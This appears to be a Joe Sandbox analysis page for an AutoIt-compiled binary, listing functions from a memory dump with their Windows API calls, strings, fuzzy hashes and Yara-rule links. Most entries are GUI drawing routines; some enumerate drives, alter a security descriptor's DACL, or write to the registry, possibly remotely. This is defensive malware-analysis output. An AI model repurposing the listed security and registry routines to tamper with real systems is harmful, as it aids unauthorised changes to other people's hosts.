Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 832b339fe825892c523a00219a57915682c5e2adeaf2e8fe2e75d44570e31012
Instruction ID: fce08f66ed1e1594da89f19ffa2a0e16eb91715b5bfa526609a9575e352bef32
Opcode Fuzzy Hash: 832b339fe825892c523a00219a57915682c5e2adeaf2e8fe2e75d44570e31012
Instruction Fuzzy Hash: F1026B71A00205AFDB14DF64CD89EAE7BB9EF48710F04855CF91AAB2A1DB74ED41CB60

Function 00B770D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00B7712F
GetSysColorBrush.USER32(0000000F), ref: 00B77160
GetSysColor.USER32(0000000F), ref: 00B7716C
SetBkColor.GDI32(?,000000FF), ref: 00B77186
SelectObject.GDI32(?,?), ref: 00B77195
InflateRect.USER32(?,000000FF,000000FF), ref: 00B771C0
GetSysColor.USER32(00000010), ref: 00B771C8
CreateSolidBrush.GDI32(00000000), ref: 00B771CF
FrameRect.USER32(?,?,00000000), ref: 00B771DE
DeleteObject.GDI32(00000000), ref: 00B771E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00B77230
FillRect.USER32(?,?,?), ref: 00B77262
GetWindowLongW.USER32(?,000000F0), ref: 00B77284

Part of subcall function 00B773E8: GetSysColor.USER32(00000012), ref: 00B77421
Part of subcall function 00B773E8: SetTextColor.GDI32(?,?), ref: 00B77425
Part of subcall function 00B773E8: GetSysColorBrush.USER32(0000000F), ref: 00B7743B
Part of subcall function 00B773E8: GetSysColor.USER32(0000000F), ref: 00B77446
Part of subcall function 00B773E8: GetSysColor.USER32(00000011), ref: 00B77463
Part of subcall function 00B773E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B77471
Part of subcall function 00B773E8: SelectObject.GDI32(?,00000000), ref: 00B77482
Part of subcall function 00B773E8: SetBkColor.GDI32(?,00000000), ref: 00B7748B
Part of subcall function 00B773E8: SelectObject.GDI32(?,?), ref: 00B77498
Part of subcall function 00B773E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00B774B7
Part of subcall function 00B773E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B774CE
Part of subcall function 00B773E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00B774DB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 885988623ed8bcd41f963a1d509203f1a839aa9715527006a9e6b1d43239f938
Instruction ID: 9ee35c237913b4a0f611e42e258cfad6e6ab989a68be57b88a9455355f602724
Opcode Fuzzy Hash: 885988623ed8bcd41f963a1d509203f1a839aa9715527006a9e6b1d43239f938
Instruction Fuzzy Hash: 00A19072008301AFD7109F60DC49E6B7BE9FB49321F104A2DF96AA71E1DB71E984CB91

Function 00AF8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00AF8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00B36AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00B36AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00B36F43

Part of subcall function 00AF8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AF8BE8,?,00000000,?,?,?,?,00AF8BBA,00000000,?), ref: 00AF8FC5

SendMessageW.USER32(?,00001053), ref: 00B36F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00B36F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B36FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B36FB7

Strings

0, xrefs: 00B36DCF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: a0172dc9f094ae8b408358f2c25c50651503367b4d572ad5c7c77987bdcc321f
Instruction ID: de490d01563ff88f6b6502a6db6e2cd45c57ca7c19c58afbaf61527cf6410a88
Opcode Fuzzy Hash: a0172dc9f094ae8b408358f2c25c50651503367b4d572ad5c7c77987bdcc321f
Instruction Fuzzy Hash: 7B129B30200651AFDB25CF18D894BB6BBF1FB45300F6485ADF5898B261CB75EC92CB91

Function 00B62711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00B6273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00B6286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00B628A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00B628B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00B62900
GetClientRect.USER32(00000000,?), ref: 00B6290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00B62955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00B62964
GetStockObject.GDI32(00000011), ref: 00B62974
SelectObject.GDI32(00000000,00000000), ref: 00B62978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00B62988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B62991
DeleteDC.GDI32(00000000), ref: 00B6299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00B629C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00B629DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00B62A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00B62A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00B62A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00B62A77
GetStockObject.GDI32(00000011), ref: 00B62A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00B62A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00B62A97

Strings

msctls_progress32, xrefs: 00B62A13
DISPLAY, xrefs: 00B6295A
AutoIt v3, xrefs: 00B628F8
static, xrefs: 00B6294F, 00B62A71

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 5f4eea9eb1249100d46e3cf6aa45168fe26d8bc3b55c956ed4914ab3ce423df4
Instruction ID: 9e5bab2a94e10da095eb3fb7551a042c7082cbb8451be3a4f9e121111e3535da
Opcode Fuzzy Hash: 5f4eea9eb1249100d46e3cf6aa45168fe26d8bc3b55c956ed4914ab3ce423df4
Instruction Fuzzy Hash: 86B15C71A00605AFEB14DF68DC89FAE7BB9EB08710F104558F915E7290DB74ED40CBA4

Function 00B54ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B54AED
GetDriveTypeW.KERNEL32(?,00B7CB68,?,\\.\,00B7CC08), ref: 00B54BCA
SetErrorMode.KERNEL32(00000000,00B7CB68,?,\\.\,00B7CC08), ref: 00B54D36

Strings

PhysicalDrive, xrefs: 00B54B76
ATAPI, xrefs: 00B54C91
RAMDisk, xrefs: 00B54BF4
ATA, xrefs: 00B54C98
Network, xrefs: 00B54C02
\\.\, xrefs: 00B54B3F
FileBackedVirtual, xrefs: 00B54CEC
Virtual, xrefs: 00B54CE5
MMC, xrefs: 00B54CDE
SAS, xrefs: 00B54CC9
SATA, xrefs: 00B54CD0
SSD, xrefs: 00B54C4A
1394, xrefs: 00B54C9F
CDROM, xrefs: 00B54BFB
Unknown, xrefs: 00B54BED, 00B54C83
SCSI, xrefs: 00B54C8A
SSA, xrefs: 00B54CA6
Removable, xrefs: 00B54C10, 00B54C15
iSCSI, xrefs: 00B54CC2
Fibre, xrefs: 00B54CAD
Fixed, xrefs: 00B54C09
RAID, xrefs: 00B54CBB
USB, xrefs: 00B54CB4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 46bdad1bdd592d345cdd215f512bfcec169ad0fc067b391b694f72a3b4a6c0fe
Instruction ID: 4b5e487638a8f8e4b3b6235bb6ac3a4353b90ef84de73583a35f3471d319c1b5
Opcode Fuzzy Hash: 46bdad1bdd592d345cdd215f512bfcec169ad0fc067b391b694f72a3b4a6c0fe
Instruction Fuzzy Hash: 2C61D770609245ABCB04DF24CAC1B6D77F0EB8534AB2444E9FC06AB6A1DB31DDC9DB41

Function 00B773E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00B77421
SetTextColor.GDI32(?,?), ref: 00B77425
GetSysColorBrush.USER32(0000000F), ref: 00B7743B
GetSysColor.USER32(0000000F), ref: 00B77446
CreateSolidBrush.GDI32(?), ref: 00B7744B
GetSysColor.USER32(00000011), ref: 00B77463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B77471
SelectObject.GDI32(?,00000000), ref: 00B77482
SetBkColor.GDI32(?,00000000), ref: 00B7748B
SelectObject.GDI32(?,?), ref: 00B77498
InflateRect.USER32(?,000000FF,000000FF), ref: 00B774B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B774CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00B774DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B7752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00B77554
InflateRect.USER32(?,000000FD,000000FD), ref: 00B77572
DrawFocusRect.USER32(?,?), ref: 00B7757D
GetSysColor.USER32(00000011), ref: 00B7758E
SetTextColor.GDI32(?,00000000), ref: 00B77596
DrawTextW.USER32(?,00B770F5,000000FF,?,00000000), ref: 00B775A8
SelectObject.GDI32(?,?), ref: 00B775BF
DeleteObject.GDI32(?), ref: 00B775CA
SelectObject.GDI32(?,?), ref: 00B775D0
DeleteObject.GDI32(?), ref: 00B775D5
SetTextColor.GDI32(?,?), ref: 00B775DB
SetBkColor.GDI32(?,?), ref: 00B775E5

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: b432a3e21d72ed72fb7049ed731d09fc9ef30de36edbc3f1a61c23abf512161c
Instruction ID: 95a7a24c9a902adf7925b9282d0b4cc236b8d58da0d85af2f1d62ef8a8b722e1
Opcode Fuzzy Hash: b432a3e21d72ed72fb7049ed731d09fc9ef30de36edbc3f1a61c23abf512161c
Instruction Fuzzy Hash: 93613272904218AFDF119FA4DC49AAE7FB9EB08320F114169F919B72A1DB759980CF90

Function 00B70FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B71128
GetDesktopWindow.USER32 ref: 00B7113D
GetWindowRect.USER32(00000000), ref: 00B71144
GetWindowLongW.USER32(?,000000F0), ref: 00B71199
DestroyWindow.USER32(?), ref: 00B711B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00B711ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B7120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B7121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00B71232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00B71245
IsWindowVisible.USER32(00000000), ref: 00B712A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00B712BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00B712D0
GetWindowRect.USER32(00000000,?), ref: 00B712E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00B7130E
GetMonitorInfoW.USER32(00000000,?), ref: 00B71328
CopyRect.USER32(?,?), ref: 00B7133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00B713AA

Strings

tooltips_class32, xrefs: 00B711E6
0, xrefs: 00B710D3
(, xrefs: 00B7131B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: c4e385e6dfe926064a736bd63ac4ebdab432b1aefe185d91ca943dc7a03387aa
Instruction ID: 8d23d8a7317bf7173acfb0084f3156b322f1e21438c3a18bd22e3d4a536efd4e
Opcode Fuzzy Hash: c4e385e6dfe926064a736bd63ac4ebdab432b1aefe185d91ca943dc7a03387aa
Instruction Fuzzy Hash: 4AB16C71604341AFD714DF69C984B6BBBE4EF84350F00895DF99EAB2A1CB31E844CBA1

Function 00AF8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AF8968
GetSystemMetrics.USER32(00000007), ref: 00AF8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AF899B
GetSystemMetrics.USER32(00000008), ref: 00AF89A3
GetSystemMetrics.USER32(00000004), ref: 00AF89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00AF89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00AF89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00AF8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00AF8A3C
GetClientRect.USER32(00000000,000000FF), ref: 00AF8A5A
GetStockObject.GDI32(00000011), ref: 00AF8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00AF8A81

Part of subcall function 00AF912D: GetCursorPos.USER32(?), ref: 00AF9141
Part of subcall function 00AF912D: ScreenToClient.USER32(00000000,?), ref: 00AF915E
Part of subcall function 00AF912D: GetAsyncKeyState.USER32(00000001), ref: 00AF9183
Part of subcall function 00AF912D: GetAsyncKeyState.USER32(00000002), ref: 00AF919D

SetTimer.USER32(00000000,00000000,00000028,00AF90FC), ref: 00AF8AA8

Strings

AutoIt v3 GUI, xrefs: 00AF8A20

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: c24d14a6c78594e34999e490e67c5245e5560d5f22da757f82d94ba1756e3b55
Instruction ID: 6ad9d5f729c2888203c26d6ee1bc8a33cc9bc824c3a518feef11fec3af90baee
Opcode Fuzzy Hash: c24d14a6c78594e34999e490e67c5245e5560d5f22da757f82d94ba1756e3b55
Instruction Fuzzy Hash: 5BB17E71A00209EFDF14DFA8CD95BAE3BB5FB48314F108269FA15A7290DB74E941CB51

Function 00B40D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41114
Part of subcall function 00B410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41120
Part of subcall function 00B410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B4112F
Part of subcall function 00B410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41136
Part of subcall function 00B410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B4114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B40DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B40E29
GetLengthSid.ADVAPI32(?), ref: 00B40E40
GetAce.ADVAPI32(?,00000000,?), ref: 00B40E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B40E96
GetLengthSid.ADVAPI32(?), ref: 00B40EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B40EB5
HeapAlloc.KERNEL32(00000000), ref: 00B40EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B40EDD
CopySid.ADVAPI32(00000000), ref: 00B40EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B40F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B40F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B40F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40F6E
HeapFree.KERNEL32(00000000), ref: 00B40F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40F7E
HeapFree.KERNEL32(00000000), ref: 00B40F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40F8E
HeapFree.KERNEL32(00000000), ref: 00B40F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00B40FA1
HeapFree.KERNEL32(00000000), ref: 00B40FA8

Part of subcall function 00B41193: GetProcessHeap.KERNEL32(00000008,00B40BB1,?,00000000,?,00B40BB1,?), ref: 00B411A1
Part of subcall function 00B41193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B40BB1,?), ref: 00B411A8
Part of subcall function 00B41193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B40BB1,?), ref: 00B411B7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: cd0fcd6f1d30cbbcb7b81fa2c0e95b0bc2133769f187cf8a7ee91de6645a9886
Instruction ID: 8976a81600e45d1b2e4fce69c029d24aaa6b53447d790c874339238283fa6cd0
Opcode Fuzzy Hash: cd0fcd6f1d30cbbcb7b81fa2c0e95b0bc2133769f187cf8a7ee91de6645a9886
Instruction Fuzzy Hash: F971507190020AEBDF209FA4DC44FAEBBB8FF05310F144169FA19A7151DB759A45DB60

Function 00B6C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00B7CC08,00000000,?,00000000,?,?), ref: 00B6C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00B6C5A4
_wcslen.LIBCMT ref: 00B6C5F4
_wcslen.LIBCMT ref: 00B6C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00B6C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00B6C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00B6C84D
RegCloseKey.ADVAPI32(?), ref: 00B6C881
RegCloseKey.ADVAPI32(00000000), ref: 00B6C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00B6C960

Strings

REG_QWORD, xrefs: 00B6C8C3
REG_SZ, xrefs: 00B6C644
REG_EXPAND_SZ, xrefs: 00B6C5CD
REG_MULTI_SZ, xrefs: 00B6C6F5
REG_DWORD, xrefs: 00B6C804
REG_BINARY, xrefs: 00B6C913

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: d04a01cbe5fce74c03494a7787c3389ee4849be5a5557b1562956036a1deed39
Instruction ID: 65c21c51536c16704e4c2c510a44b8616166973c1a239bd1430d9e3a607b5a2b
Opcode Fuzzy Hash: d04a01cbe5fce74c03494a7787c3389ee4849be5a5557b1562956036a1deed39
Instruction Fuzzy Hash: BE1278352082019FC714DF15C991A2ABBE5FF88714F14889CF99A9B3A2DB35FD41CB91

Function 00B7091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B709C6
_wcslen.LIBCMT ref: 00B70A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B70A54
_wcslen.LIBCMT ref: 00B70A8A
_wcslen.LIBCMT ref: 00B70B06
_wcslen.LIBCMT ref: 00B70B81

Part of subcall function 00AFF9F2: _wcslen.LIBCMT ref: 00AFF9FD

Part of subcall function 00B42BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B42BFA

Strings

EXPAND, xrefs: 00B70BF8
ISCHECKED, xrefs: 00B70CE1
GETTEXT, xrefs: 00B70C97
UNCHECK, xrefs: 00B70D3E
COLLAPSE, xrefs: 00B70B01, 00B70B1C
SELECT, xrefs: 00B70D11
EXISTS, xrefs: 00B70B7C, 00B70B97
CHECK, xrefs: 00B70A85, 00B70AA0
GETSELECTED, xrefs: 00B70C4E
GETTOTALCOUNT, xrefs: 00B709F2, 00B70A17
GETITEMCOUNT, xrefs: 00B70C1E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
